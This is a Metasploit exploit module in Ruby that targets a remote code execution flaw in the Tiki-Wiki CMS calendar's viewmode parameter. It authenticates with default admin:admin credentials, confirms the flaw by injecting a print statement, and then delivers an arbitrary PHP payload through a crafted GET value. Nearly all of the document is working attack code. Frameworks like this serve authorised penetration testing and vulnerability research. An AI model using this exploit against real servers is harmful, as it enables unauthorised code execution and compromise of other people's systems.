Tiki-Wiki CMS Calendar Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tiki-Wiki CMS Calendar Command Execution',
        'Description' => %q{
          Tiki-Wiki CMS's calendar module contains a remote code execution
          vulnerability within the viewmode GET parameter.
          The calendar module is NOT enabled by default.  If enabled,
          the default permissions are set to NOT allow anonymous users
          to access.

          Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14
          Verified/Tested against 14.1
        },
        'Author' => [
          'h00die <[email protected]>', # module
          'Dany Ouellet' # discovery
        ],
        'References' => [
          [ 'CVE', '2025-34113' ],
          [ 'EDB', '39965' ],
          [ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w(php),
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-06-06',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']),
        OptString.new('USERNAME', [ true, 'Username of a user with calendar access', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password of a user with calendar access', 'admin'])
      ], self.class
    )
  end

  # returns cookie regardless of outcome
  def authenticate
    begin
      # get a cookie to start with
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'),
        'method' => 'GET'
      )

      if res && res.code == 404
        fail_with(Failure::Unknown, 'Target does not have tiki-login_scr.php')
      end

      cookie = res ? res.get_cookies : ''
      # if we have creds, login with them
      vprint_status('Attempting Login')
      # the bang on the cgi will follow the redirect we receive on a good login
      res = send_request_cgi!(
        'uri' => normalize_uri(target_uri.path, 'tiki-login.php'),
        'method' => 'POST',
        'ctype' => 'application/x-www-form-urlencoded',
        'cookie' => cookie,
        'vars_post' =>
          {
            'user' => datastore['USERNAME'],
            'pass' => datastore['PASSWORD'],
            'login' => '',
            'stay_in_ssl_mode_present' => 'y',
            'stay_in_ssl_mode' => 'n'
          }
      )
      # double check auth worked and we got a Log out on the page.
      # at times I got it to auth, but then it would give permission errors
      # so we want to try to double check everything is good
      if res && res.body !~ /Log out/
        fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      end
      vprint_good("Login Successful")
      return cookie
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  # sends the calendar packet, returns the HTTP response
  def send_calendar_packet(cookie, data)
    begin
      return send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'),
        'method' => 'GET',
        'cookie' => cookie,
        'vars_get' =>
        {
          'viewmode' => "';#{data};$a='"
        }
      )
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  # Version numbers are post auth, so we send a print statement w/
  # 10 random characters and check for it in the response
  def check
    if datastore['USERNAME'] && !datastore['USERNAME'].blank?
      cookie = authenticate
    end

    flag = Rex::Text.rand_text_alpha(10)
    res = send_calendar_packet(cookie, "print(#{flag})")

    if res
      if res.body =~ /You do not have permission to view the calendar/i
        fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
      elsif res.body =~ />#{flag}</
        Exploit::CheckCode::Vulnerable('The target is vulnerable')
      else
        Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    end
  end

  def exploit
    if datastore['USERNAME'] && !datastore['USERNAME'].blank?
      cookie = authenticate
    end

    vprint_status('Sending malicious calendar view packet')
    res = send_calendar_packet(cookie, payload.encoded)
    if res && res.body =~ /You do not have permission to view the calendar/i
      fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
    end
  end
end